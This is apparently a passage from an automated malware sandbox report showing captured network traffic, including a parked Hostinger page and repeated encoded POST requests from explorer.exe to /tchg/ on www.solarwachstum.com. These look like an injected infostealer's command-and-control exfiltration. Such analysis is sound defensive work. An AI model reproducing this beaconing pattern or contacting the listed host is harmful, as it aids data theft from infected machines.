href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428
May 30, 2023 11:10:30.808173895 CEST	981	IN	Data Raw: 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 30 2e 37 64 65 67 2c 23 65 39 65 64 66 62 20 2d 35 30 2e 32 31 25 2c 23 66 36 66 38 66 64 20 33 31 2e 31 31 25 2c 23 66 66 66 20 31 36 36 2e 30 32 25 29 7d 68 Data Ascii: ;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-
May 30, 2023 11:10:30.808228970 CEST	983	IN	Data Raw: 61 76 3e 6c 69 3e 61 20 69 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 2d 62 61 72 20 69 6d 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 33 70 78 7d 2e 63 6f 6e 67 72 61 74 7a 7b 6d 61 72 67 69 6e Data Ascii: av>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-b
May 30, 2023 11:10:30.808284998 CEST	984	IN	Data Raw: 3a 31 36 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c Data Ascii: :16px;min-height:20px;min-width:20px;vertical-align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0
May 30, 2023 11:10:30.808353901 CEST	985	IN	Data Raw: 77 3e 3c 69 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 Data Ascii: w><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.com/af
May 30, 2023 11:10:30.808413029 CEST	986	IN	Data Raw: 63 63 65 73 73 66 75 6c 20 6f 6e 6c 69 6e 65 20 70 72 6f 6a 65 63 74 73 2e 3c 2f 70 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 46 69 Data Ascii: ccessful online projects.</p><br><a href=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Add website to your hosti
May 30, 2023 11:10:30.808469057 CEST	988	IN	Data Raw: 3b 6e 3c 74 3b 29 7b 69 66 28 35 35 32 39 36 3d 3d 28 36 33 34 38 38 26 28 72 3d 6f 5b 6e 2b 2b 5d 29 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 65 6e 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 Data Ascii: ;n<t;){if(55296==(63488&(r=o[n++])))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");65535<r&&(r-=65536,e.push(String.fromCharCode(r>>>10&1023\|55296)),r=56320\|1023&r),e.push(String.fromCharCode(r))}return e.join("")}};var o=36,r=21
May 30, 2023 11:10:30.808526993 CEST	989	IN	Data Raw: 7d 69 66 28 74 29 66 6f 72 28 66 3d 30 2c 77 3d 6d 2e 6c 65 6e 67 74 68 3b 66 3c 77 3b 66 2b 2b 29 79 5b 66 5d 26 26 28 6d 5b 66 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6d 5b 66 5d 29 2e 74 6f 55 70 70 65 72 43 61 73 65 Data Ascii: }if(t)for(f=0,w=m.length;f<w;f++)y[f]&&(m[f]=String.fromCharCode(m[f]).toUpperCase().charCodeAt(0));return this.utf16.encode(m)},this.encode=function(t,a){var h,f,i,c,u,d,l,p,g,s,C,w;a&&(w=this.utf16.decode(t));var v=(t=this.utf16.decode(t.toL
May 30, 2023 11:10:30.808573008 CEST	989	IN	Data Raw: 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 74 68 4e 61 6d 65 22 29 3b 61 63 63 6f 75 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 70 75 6e 79 63 6f 64 65 2e 54 6f 55 6e 69 63 6f 64 65 28 70 61 74 68 4e 61 6d 65 29 3c 2f Data Ascii: cument.getElementById("pathName");account.innerHTML=punycode.ToUnicode(pathName)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.11.20	49806	89.31.143.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:35.842164040 CEST	991	OUT	POST /tchg/ HTTP/1.1 Host: www.solarwachstum.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.solarwachstum.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solarwachstum.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 70 30 72 58 41 76 6c 68 79 63 66 5f 46 38 69 45 34 6d 5a 63 46 4d 53 32 43 52 4f 49 74 61 61 4b 7e 30 5a 68 58 4f 52 51 30 32 41 56 6b 54 58 69 71 31 7e 45 34 2d 42 52 4d 56 6c 50 54 4c 4f 65 67 6c 38 4f 44 62 69 46 6d 59 7a 48 5a 69 63 41 56 42 73 51 68 35 66 35 45 51 72 47 47 6a 36 36 30 67 4e 58 4d 6b 66 66 4b 71 52 39 74 70 35 36 37 66 52 41 57 63 57 72 51 43 4c 66 61 50 69 2d 49 69 42 36 73 58 30 38 53 2d 78 6e 32 59 6f 2d 34 6e 4e 47 77 75 45 45 36 55 43 6e 4b 37 61 72 32 66 62 51 67 7a 4f 61 4e 45 5a 35 71 36 36 74 53 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=p0rXAvlhycf_F8iE4mZcFMS2CROItaaK~0ZhXORQ02AVkTXiq1~E4-BRMVlPTLOegl8ODbiFmYzHZicAVBsQh5f5EQrGGj660gNXMkffKqR9tp567fRAWcWrQCLfaPi-IiB6sX08S-xn2Yo-4nNGwuEE6UCnK7ar2fbQgzOaNEZ5q66tSg).
May 30, 2023 11:10:35.853982925 CEST	991	IN	HTTP/1.1 405 Not Allowed Date: Tue, 30 May 2023 09:10:35 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: UD Forwarding 3.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.11.20	49807	89.31.143.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:38.369671106 CEST	992	OUT	POST /tchg/ HTTP/1.1 Host: www.solarwachstum.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.solarwachstum.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solarwachstum.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 70 30 72 58 41 76 6c 68 79 63 66 5f 47 63 53 45 7e 78 31 63 4f 4d 54 45 48 52 4f 49 6e 36 61 47 7e 31 6c 68 58 50 55 4e 30 6c 6f 56 6b 7a 48 69 74 45 7e 45 72 4f 42 52 47 31 6c 4b 65 72 4f 52 67 6c 78 7a 44 61 79 46 6d 59 58 48 5a 51 6b 41 54 78 73 54 75 5a 66 34 4f 77 72 46 43 6a 37 31 30 67 42 31 4d 6c 4c 66 4b 36 74 39 73 76 6c 36 78 75 52 48 42 73 57 79 48 53 4c 63 51 76 69 38 49 69 38 61 73 53 34 47 53 50 56 6e 32 35 45 2d 32 48 4e 42 72 4f 45 66 7a 30 43 33 4d 65 6e 44 36 65 66 7a 31 51 43 4b 4b 51 6f 64 71 35 6a 39 4a 55 66 61 55 5a 46 65 54 66 75 57 6a 4a 77 53 50 44 38 4f 42 35 77 2d 65 50 4f 33 51 73 5a 34 50 6b 4e 79 44 2d 37 4e 42 5f 7a 72 68 42 67 58 5a 7a 56 6b 42 33 66 63 6e 56 6b 70 59 33 6d 53 4f 4b 42 51 7e 7a 57 67 67 6d 63 6d 57 59 50 49 6c 4e 59 31 55 49 4f 49 57 2d 47 30 6b 7a 31 41 34 2d 32 33 63 67 79 51 42 4f 4a 32 49 57 56 58 38 66 48 37 46 55 4b 38 47 4e 52 50 47 4d 54 77 6e 65 7a 68 39 57 42 6f 55 66 4d 4e 57 30 41 56 64 65 28 6c 48 6c 4f 62 58 57 65 50 67 51 30 70 4e 4a 78 64 64 54 58 47 7a 69 54 57 55 66 76 57 6d 2d 79 61 30 76 62 63 6d 51 37 33 54 66 71 54 63 55 38 79 73 4a 4e 51 49 49 62 6b 36 35 47 7a 37 65 4d 6b 4b 44 76 38 58 45 70 59 34 62 37 44 6f 36 6f 61 34 78 4f 76 6a 61 42 68 4e 49 68 45 35 42 6b 6f 30 49 6b 2d 70 62 6a 42 66 4d 52 67 74 6c 33 67 62 4a 6b 50 4b 79 70 49 73 2d 4f 34 32 77 76 50 63 59 35 67 62 39 35 62 59 52 6b 49 7a 4e 48 77 65 54 31 46 4c 53 35 65 7a 42 4c 72 4f 78 6a 7a 36 48 7e 7a 45 45 77 38 48 75 4f 50 63 65 71 74 7a 6e 6f 4c 36 4a 62 43 51 57 71 62 5a 34 39 42 6a 41 34 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=p0rXAvlhycf_GcSE~x1cOMTEHROIn6aG~1lhXPUN0loVkzHitE~ErOBRG1lKerORglxzDayFmYXHZQkATxsTuZf4OwrFCj710gB1MlLfK6t9svl6xuRHBsWyHSLcQvi8Ii8asS4GSPVn25E-2HNBrOEfz0C3MenD6efz1QCKKQodq5j9JUfaUZFeTfuWjJwSPD8OB5w-ePO3QsZ4PkNyD-7NB_zrhBgXZzVkB3fcnVkpY3mSOKBQ~zWggmcmWYPIlNY1UIOIW-G0kz1A4-23cgyQBOJ2IWVX8fH7FUK8GNRPGMTwnezh9WBoUfMNW0AVde(lHlObXWePgQ0pNJxddTXGziTWUfvWm-ya0vbcmQ73TfqTcU8ysJNQIIbk65Gz7eMkKDv8XEpY4b7Do6oa4xOvjaBhNIhE5Bko0Ik-pbjBfMRgtl3gbJkPKypIs-O42wvPcY5gb95bYRkIzNHweT1FLS5ezBLrOxjz6H~zEEw8HuOPceqtznoL6JbCQWqbZ49BjA4.
May 30, 2023 11:10:38.381520033 CEST	993	IN	HTTP/1.1 405 Not Allowed Date: Tue, 30 May 2023 09:10:38 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: UD Forwarding 3.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.11.20	49808	89.31.143.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:40.901983976 CEST	1006	OUT	POST /tchg/ HTTP/1.1 Host: www.solarwachstum.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.solarwachstum.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solarwachstum.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 70 30 72 58 41 76 6c 68 79 63 66 5f 47 63 53 45 7e 78 31 63 4f 4d 54 45 48 52 4f 49 6e 36 61 47 7e 31 6c 68 58 50 55 4e 30 6a 77 56 6c 41 28 69 75 6e 57 45 6f 4f 42 52 59 6c 6c 4c 65 72 4f 4d 67 6c 6f 34 44 61 7e 7a 6d 61 66 48 5a 48 67 41 54 48 34 54 72 5a 66 37 43 51 72 48 47 6a 36 30 30 67 4e 66 4d 6c 65 6f 4b 71 4a 39 74 74 39 36 31 64 35 41 43 38 57 72 48 53 4c 51 55 76 69 4f 49 69 4a 45 73 53 30 47 53 4e 68 6e 6b 39 73 2d 34 78 46 42 78 75 45 41 38 55 43 79 46 2d 6e 6d 36 66 37 4e 31 51 43 38 4b 55 34 64 71 2d 76 39 49 58 33 64 55 35 46 65 65 5f 75 56 31 35 30 57 50 41 49 47 42 34 45 2d 65 4e 4f 33 66 73 5a 34 5a 56 4e 78 41 65 37 58 46 5f 79 70 72 68 6b 50 5a 33 31 77 42 33 4c 63 6e 44 49 70 5a 41 79 53 43 4c 42 51 68 6a 57 6d 74 47 63 50 59 34 4f 4c 6c 4e 49 70 55 49 76 5f 57 34 47 30 6e 57 42 41 36 62 61 34 4f 41 79 65 4e 75 4a 5a 4d 57 59 59 38 63 76 6e 46 55 4c 37 47 4a 70 50 47 38 6a 77 6d 66 7a 75 33 57 42 76 59 5f 4d 55 66 55 4d 54 64 65 54 54 48 6c 32 78 58 58 61 50 79 41 30 70 64 61 4a 65 56 6a 58 42 78 69 54 45 4c 76 75 41 6d 2d 76 37 30 75 66 4d 6c 67 58 33 54 76 61 54 4c 55 38 31 70 70 4e 55 52 59 62 6d 7e 35 47 7a 37 65 41 61 4b 44 6a 38 57 78 64 59 35 70 54 44 74 73 67 61 6a 78 4f 31 6a 61 41 36 4e 49 74 6e 35 42 73 43 30 49 56 72 70 64 7a 42 63 59 31 67 68 41 62 5f 4c 4a 6b 4f 64 53 70 54 68 65 53 56 32 77 6a 58 63 62 52 77 62 4e 46 62 62 52 30 49 6b 64 48 5f 59 7a 30 73 62 43 34 62 35 68 57 36 4f 78 57 47 36 48 69 6a 45 44 45 38 43 50 6e 6e 47 39 32 5a 77 42 30 4b 7a 65 4c 48 62 31 36 75 4d 70 35 6e 31 30 50 37 44 34 34 50 7e 30 52 6d 6b 35 69 45 73 6d 45 59 7a 6d 54 4a 7e 69 6d 64 33 66 41 5a 5a 6e 41 6d 55 37 76 59 6e 77 69 78 52 62 64 38 39 39 69 64 42 73 48 33 56 45 75 64 34 46 75 46 4e 68 4d 56 53 6b 37 67 36 6e 38 78 67 62 47 44 55 64 7a 39 65 37 38 75 49 64 64 56 76 6f 51 77 74 34 52 75 46 38 72 73 62 4a 71 4b 31 6c 50 62 64 58 32 56 74 45 51 4e 79 33 70 35 7a 41 7a 7a 67 32 38 33 49 74 78 6e 76 76 59 65 34 6a 72 61 67 2d 34 54 70 53 47 62 6f 59 56 72 28 77 73 64 62 76 6a 6f 62 6f 39 73 64 44 4d 73 43 74 46 73 63 58 74 78 64 33 64 51 52 63 49 31 72 4c 62 56 64 67 51 47 6e 34 77 47 41 71 37 46 4a 4e 6c 35 45 63 53 41 49 79 35 56 4b 6a 4f 48 66 72 78 6c 54 68 52 74 6b 33 63 54 61 6a 70 45 77 36 63 45 43 4d 46 41 52 4a 6a 44 54 62 69 54 56 72 78 69 74 63 47 2d 55 6e 58 68 48 4d 4d 47 36 36 4d 78 62 63 57 53 69 79 35 57 42 79 67 34 61 41 5a 6e 70 53 43 72 4e 69 63 39 5a 6c 31 33 72 4f 35 31 63 4e 28 59 42 57 6b 41 68 34 4e 65 31 50 36 50 76 62 78 6b 30 5a 52 59 67 76 35 37 78 61 34 43 45 6e 32 5f 73 4b 4c 67 54 37 79 30 66 45 45 2d 69 56 62 43 33 4f 28 34 66 7a 68 37 75 42 4f 4a 59 64 6d 6a 4e 42 59 5f 68 47 45 65 57 6c 43 76 57 75 47 51 61 62 51 57 7e 4e 7a 4d 28 47 4e 57 6c 64 33 64 5a 46 77 71 6c 65 30 59 45 67 4d 43 6b 53 6c 76 32 39 71 69 73 47 38 72 58 6f 42 44 4b 46 48 33 4a 6f 53 4d 48 49 7a 65 38 52 55 63 62 67 5a 6d 47 73 54 45 58 6c 32 37 52 39 4e 41 52 54 44 30 4e 37 4a 50 54 39 46 5f 46 74 66 31 56 31 43 45 6b 50 70 6b 41 4a 66 34 28 44 38 43 57 5f 68 4f 79 6c 76 75 75 7a 65 35 68 2d 70 54 52 4b 33 53 38 62 31 35 61 32 28 41 71 69 6d 61 32 30 7e 56 45 76 48 52 50 44 76 4e 7a 6e 56 54 4d 71 79 50 4b 33 75 56 6e 47 44 50 65 53 78 38 70 30 53 4f 5a 73 4b 6f 59 36 70 66 39 53 50 62 55 71 28 38 31 7a 7e 39 4e 33 30 77 7e 73 4a 34 61 68 33 63 46 49 6a 62 46 38 43 41 42 68 68 65 5a 70 61 6d 57 68 75 30 55 31 57 6d 28 65 6c 31 6b 69 4d 4f 41 71 30 46 4d 73 74 59 42 66 52 6f 48 43 73 48 38 2d 67 65 50 55 45 6f 72 4a 56 6c 52 41 54 4d 6f 7a 43 48 53 4d 51 36 45 35 66 4b 36 66 32 6b 55 37 6d 62 70 7a 4f 6a 54 36 77 37 57 50 30 67 7e 45 75 41 42 74 52 43 66 44 6b 72 61 33 64 46 44 33 52 41 46 72 78 38 70 78 4e 34 38 65 67 57 74 68 7a 67 4c 67 50 76 74 6d 45 57 4d 70 70 59 67 6e 35 35 62 37 74 36 65 44 57 54 57 4e 33 71 77 74 50 6c 37 43 75 7a 50 66 6e 6e 78 44 44 67 4e 5a 68 4a 57 53 42 70 75 6d 4c 47 48 73 76 6c 7e 6a 6b 52 69 57 47 77 31 6b 36 38 39 4c 72 4d 50 53 5a 32 50 65 45 67 37 4e 63 39 59 63 30 48 63 4f 6d 6b 65 5f 56 59 33 5a 58 4c 45 39 76 41 39 6d 67 30 58 Data Ascii: O0qEM=p0rXAvlhycf_GcSE~x1cOMTEHROIn6aG~1lhXPUN0jwVlA(iunWEoOBRYllLerOMglo4Da~zmafHZHgATH4TrZf7CQrHGj600gNfMleoKqJ9tt961d5AC8WrHSLQUviOIiJEsS0GSNhnk9s-4xFBxuEA8UCyF-nm6f7N1QC8KU4dq-v9IX3dU5Fee_uV150WPAIGB4E-eNO3fsZ4ZVNxAe7XF_yprhkPZ31wB3LcnDIpZAySCLBQhjWmtGcPY4OLlNIpUIv_W4G0nWBA6ba4OAyeNuJZMWYY8cvnFUL7GJpPG8jwmfzu3WBvY_MUfUMTdeTTHl2xXXaPyA0pdaJeVjXBxiTELvuAm-v70ufMlgX3TvaTLU81ppNURYbm~5Gz7eAaKDj8WxdY5pTDtsgajxO1jaA6NItn5BsC0IVrpdzBcY1ghAb_LJkOdSpTheSV2wjXcbRwbNFbbR0IkdH_Yz0sbC4b5hW6OxWG6HijEDE8CPnnG92ZwB0KzeLHb16uMp5n10P7D44P~0Rmk5iEsmEYzmTJ~imd3fAZZnAmU7vYnwixRbd899idBsH3VEud4FuFNhMVSk7g6n8xgbGDUdz9e78uIddVvoQwt4RuF8rsbJqK1lPbdX2VtEQNy3p5zAzzg283ItxnvvYe4jrag-4TpSGboYVr(wsdbvjobo9sdDMsCtFscXtxd3dQRcI1rLbVdgQGn4wGAq7FJNl5EcSAIy5VKjOHfrxlThRtk3cTajpEw6cECMFARJjDTbiTVrxitcG-UnXhHMMG66MxbcWSiy5WByg4aAZnpSCrNic9Zl13rO51cN(YBWkAh4Ne1P6Pvbxk0ZRYgv57xa4CEn2_sKLgT7y0fEE-iVbC3O(4fzh7uBOJYdmjNBY_hGEeWlCvWuGQabQW~NzM(GNWld3dZFwqle0YEgMCkSlv29qisG8rXoBDKFH3JoSMHIze8RUcbgZmGsTEXl27R9NARTD0N7JPT9F_Ftf1V1CEkPpkAJf4(D8CW_hOylvuuze5h-pTRK3S8b15a2(Aqima20~VEvHRPDvNznVTMqyPK3uVnGDPeSx8p0SOZsKoY6pf9SPbUq(81z~9N30w~sJ4ah3cFIjbF8CABhheZpamWhu0U1Wm(el1kiMOAq0FMstYBfRoHCsH8-gePUEorJVlRATMozCHSMQ6E5fK6f2kU7mbpzOjT6w7WP0g~EuABtRCfDkra3dFD3RAFrx8pxN48egWthzgLgPvtmEWMppYgn55b7t6eDWTWN3qwtPl7CuzPfnnxDDgNZhJWSBpumLGHsvl~jkRiWGw1k689LrMPSZ2PeEg7Nc9Yc0HcOmke_VY3ZXLE9vA9mg0XRzE2wzZnFNP7AykUGWKxwAeKAW7rgb2DJdPLYCDKM(HtCwW7tshPdtBYYaNZVAhLQe9W-SReJJEiykwdKYBewSKa_TbA0UrGyqu5Lv-Zy6VOiRWzA(z6ink1sTq4-ajjyNSgdQ8mmYrawPrXTt1VIL_0QzfqBjGfzOJ0SaxjtwWJeUW0wUDZVr_MIUj585lwBY8kZcXi89uAr~Pc7YyhMeLkxtnu3kpVFPSmNnMDl5nLLCNH-QfytfuhvBCIImuDfD_VZr_(6tWxIFlpsjDHBTDWpS0eO2ghQJkxoPl(CycL-YnAFlCtEEpmHIEtWlxlc~StyWV0q(cjtJ0iLcYP5xptlNczF8VaoHgPG1A2mU3Rpe18_rJ2GhkeWfeREAGf-0WIMCxiESgeQYgR1rJ6wvlLbZ6hRieSmzEbYNt9Fy9un6AbUEY(qsMCk7JcKL9q2l8~MQj1U5aJMyKnRCdgxEdRS5Axw9O3g2A3AJJn6ZqNpMiO9N1wM64kg7un_yMQMcamivha3pGLJPzjz0wEeAR4RE3tNJKlaXemMLEoq~-EpdP1ljeaVAfOg2kl7R-VZA4d6RQ4vywBL4u3TXTeukk2ukcHLV0RIilFXHMwrl31oJLt5GBLw8DTD3ng40lWugOSQTN~xwb0_Foc38IJw4y4HL2mhEZ8pPfqLa90y7AfTsGSe3rwOiklRfBth6B1wvuUm8kvt(vXeA_l2ayG3Jj~9ovu7eGSPZEL3rt8Ja3DC8x4FdRzHOvk2VikDoG9U8Jtvs7h_biM5OqNNec14fSJT5W7mqjmL(fCdSTAdEYgCXNaSyQjiH9dL7I3GmX82DUCRLrCDQL7HnEOU6PJmhMTK0A8clL7bbC4qa0CKEsf_dXn7aBuUEWVzsDEZ9fwPDmw4unkxpT2ZMgnJFOERkLq1SoB6SCccVHCyX6m3revQFZsF06ZkBzgZ2q~ZLFhDBHfU65rfFkzZVFoXo5Y4GU8AeuNhYWfrAb~NhxT3l4t6FzRh7c~h34r-acCpUZcqtDv4kSxPuu~NcbEjmor_fr5g67raNlEgSxCtjNC1vr5G0GhgF2fKzET2Z9xwJQoPJcJnfPQDeUpnox9XmmDh~ncq5LO94tCeL5aDz92sKgacGWCaIC(ruu(m4jfKs_5YPBJhLdgxbYqbiNtSnfTJ9AsGOSpSLx0Jcj2PGNLrfnFMuPjwL7IliazRCWf15gBxBAY296KtebTLEEHKnxVKtjs0Hh1oVFAMDHJRyCfEh3kKIyh0W0wpBLjUK8M0zY78k4ewLqYB63fBFvTEzEFS84C1tNha5Kez0Z~Ry5kTwchdHdn3ZtumSwrdSnLU9oV4DlxlGVt7DVmgtBDpmHwwwsaAAS4p5mTlW7uplUSa2ZElC13RIE6clYDMCYiHNLeJxApvAEB_HdI77ypwWcA11Pw6adKbPp857SBAAC67uNjgxWnByn~xRyDycRZ8k85rmGai1jC4E9lAlRVmMPW3mpM0TeVY~s~VrfDO97Ge1PNR9djB2O0jnf68DauFtiqBWI3EJsDNFOkU98F4pB4h8SEBeIZOdnOORZm1MSNTYDvsBDtBLCwCey5yBffR7Mp52Ts05vMqZSSful1qO_ebdZO1AyScFPOz0EyNO_GbQCLEtN5mItr8l8Wi~RB7eVzmzQB4jF4L0D4vOP8Gb_MXND4WSqzeXYBYfftWwbZEKfZManB8WbCpYyoHT8x_fWjYdBCUufokHUTXOTNj9PnNdeS8(lWZCbbsjatZbCWjtsDNGKIzjl79fsoKbM4nlNcrpcXRrji8OWWx6X0iwr~ZhkNPZfLFhDZc2Zu9jYDFiRFPl_VSiMO8TnvDPDmxQjzqgXZ3PwxrqVRxcKnxHlrLeNCJuHSTPf42mmqipNB3W1CkzrHhmInUU3KQ(Ad7POv8ehszppAuUP54dsIRArQctj~7lU62Z2fEr-D_TPgo(JAnGt~z(lS7teycVaQHv7(mF5UvJqHhCRa9vXckhZw3MDM0fdybBncOGgUJ1DgJGXpfIvq7mpBtTtZY(ksWnV6uytpqu6HlozL12iPHeLyL3X573no9Zu1ekJwnXLhrDLOohCu6osSK9Nt9P_m94SnJVKrqUOGeGrrqAItn6C7MoBiZt3KKin0aoXrLsxhPwI3Bt8Opsp0Izl3FDzyz4ItPShpQUFT9VR3Eqtjrv5HLAbOJ(jZq4s2H(l(abjRdC37NTUIc9gV2EbR4z0RPZ6jT~KKm0YTjy0L0wmjJa-syZBf8b2f103Ag52CIDeMP26yv6OtrA2085Ep1Nk8fPCF9JIV3AAvAhznbaVvAVryMBk68IoSqMVRIkjtqGoNrm2jEqWocZRHRGOONcy8azTl_tffMYIWGpnHMyeQAFWm8IMd8Ws6y3TZwE5XVLguPXgnlcD~JljurrEKtRRsLCyG9lk(8bEwBZqSIhPZUGWb8MRfAFIr5~No75ZlTZXu4Cy7lVKMU6SPxUA88k7dKytFY04IO9OJ-x_~8KpA6PJajVrO0seRI7yARiA3lth3dwpSzFM08K1TGFk~bcaXTVSshbn~2vI4iCU1xS4~ita8jS2rVSkv7hyBVh3c_8WrBUlbZJ8iJ9LTu(Le6DBsUXi17v6fCuRu0zCjnR7YLavAQHWzv3t8vEAHwg2cy(O6TPFTm3jEBC9v4DqaoiF83gcoLnmrkrLuwJDo8d_zrpcguzoGAejhUgMo9hK
May 30, 2023 11:10:40.913249969 CEST	1009	OUT	Data Raw: 70 33 4c 4d 6a 75 65 64 44 73 6b 6d 33 57 32 44 6c 6c 32 47 53 47 31 49 6b 36 76 52 2d 63 77 76 49 6d 4e 6d 74 49 54 71 4e 31 6a 62 57 6f 44 6d 44 41 6e 59 4a 6a 6c 45 4c 39 74 34 63 75 36 28 6b 5a 73 52 4c 55 59 72 67 45 50 36 37 77 57 70 78 74 Data Ascii: p3LMjuedDskm3W2Dll2GSG1Ik6vR-cwvImNmtITqN1jbWoDmDAnYJjlEL9t4cu6(kZsRLUYrgEP67wWpxtIZY(7fivTr57LJdRJc6ptX-usjrdGbml8XhTISzD7qP3H8QIvXQ0rMv~mUdFF0bKi6tj_3xijbArFu7yeBsC370PPRbL_UQ3xiQ~BqR5O8DA1cvTiuy4naAF_bKvOldBbtDv5l5sDMglvi76x3fSMxMtvr3N1ZeKD
